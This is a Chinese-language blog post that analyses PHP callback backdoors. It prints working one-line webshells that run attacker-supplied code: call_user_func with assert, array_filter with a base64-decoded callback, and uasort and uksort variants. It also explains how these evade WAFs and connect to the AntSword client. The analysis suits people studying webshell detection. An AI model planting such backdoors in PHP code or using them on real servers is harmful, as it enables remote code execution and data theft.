PHP回调后门分析

什么是PHP回调后门?

PHP回调后门是指攻击者利用PHP的回调函数等技术,绕过WAF(Web应用防火墙),在受攻击的PHP应用程序中插入恶意代码。这种后门可以被用来执行任意PHP代码,例如访问数据库、执行系统命令、窃取敏感信息等,具有极大的危害性。


1. 初始的回调后门

复制代码
call_user_func('assert', $_REQUEST['pass']);

解析:

  • call_user_func():把第一个参数作为回调函数调用。
  • assert():用于执行传入的字符串代码。
  • $_REQUEST['pass']:攻击者控制的输入。

示例:执行 phpinfo() 查看PHP环境信息

如果攻击者向 pass 参数传递 phpinfo();,则代码执行后会显示PHP的完整环境信息。

示例:蚁剑连接webshell

失败解析:

  • assert() 只能执行字符串代码

    • assert($code); 等价于 if (!eval($code)) throw new AssertionError();

    • assert($_POST[123]); 的问题是,如果 $_POST[123] 是个未定义变量或者非字符串,它会返回 NULL,导致 assert(NULL); 直接返回 false,没有实际执行任何代码。

    • assert('eval($_POST[123]);'); 这样传入的是 字符串形式的PHP代码 ,assert() 解析后相当于 eval($_POST[123]);,从而可以执行 $_POST[123] 传入的任意命令。

  • 蚁剑默认发送的Payload

    • 当 body 传 pass=$_POST[123] 时,assert($_POST[123]); 可能解析为 assert(NULL); 或者 assert(空字符串);,直接返回 false,因此没有返回值。

    • 当 pass='eval($_POST[123]);' 时,assert('eval($_POST[123]);'); 由于是字符串,符合 assert() 语法要求 ,eval($_POST[123]); 成功执行,从而蚁剑的WebShell成功运行。


2. 数组操作造成的单参数回调后门

复制代码
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));

解析:

  • array():创建数组,包含用户传入的 $_POST['pass']。
  • array_filter():使用回调函数过滤数组元素。
  • base64_decode($e):解码后作为回调函数。

如果 e 传递的是 YXNzZXJ0(即 assert 的Base64编码),则 array_filter() 会执行 assert($_POST['pass']);,从而执行传入的PHP代码。

连接蚁剑


3. PHP 5.4.8+ 中的 assert 后门

复制代码
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

解析:

  • uasort():使用回调函数对数组的值进行排序。
  • base64_decode($e):解码后作为排序回调。

如果 e 传递的是 YXNzZXJ0,那么 uasort($arr, 'assert');,相当于执行 assert($_REQUEST['pass']);,从而执行PHP代码。

uksort 变体
复制代码
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);
  • uksort() 使用用户自定义的回调函数对数组键名进行排序。
  • e 传递 assert,等价于执行 assert($_REQUEST['pass']);。

适用版本

  • 在PHP 5.3版本会报错,提示 assert 只能有一个参数。
  • 在PHP 5.4+ 版本下可以成功执行。
相关推荐
菩提小狗3 小时前
每日安全情报报告 · 2026-09-29
网络安全·漏洞·cve·安全情报·每日安全
Daorigin_com9 小时前
道本科技携手DeepSeek:以AI重塑合同全生命周期管理
前端·人工智能·科技·网络安全·数据挖掘·前端框架·传媒
白帽攻防录9 小时前
SRC 挖洞:Apache Tomcat 加密拦截器绕过深度复盘,CVE-2026-34486 fail-open 一行代码怎么打穿集群通信
java·网络安全·tomcat·apache
学逆向的10 小时前
win32消息类型
windows·网络安全·mfc·api·win32
白帽攻防录12 小时前
SRC 挖洞:GitLab GraphQL 指令绕过深度复盘,CVE-2026-19478 未授权删项目怎么打穿代码托管平台
网络·网络安全·gitlab·graphql
Johny_Zhao20 小时前
FreeRADIUS + 华为AC/AP + 802.1X/WPA2-Enterprise 无线认证对接部署完整指南
网络·网络安全·信息安全·ldap·radius·huawei·系统运维·centos8
锐速网络1 天前
轻量化安全建设指南:无需硬件的SaaS化勒索病毒防御方案
网络安全·云备份·主机安全·saas安全·勒索病毒防护·轻量化安全·中小企业安全
小小小小钰儿1 天前
1.5-Python网络编程
开发语言·网络·python·web安全·计算机·网络安全
持敬chijing1 天前
CTFshow-WEB-新年好?解题思路
安全·web安全·网络安全·网络攻击模型
兢谨网安1 天前
Web应用渗透测试方案
网络·网络安全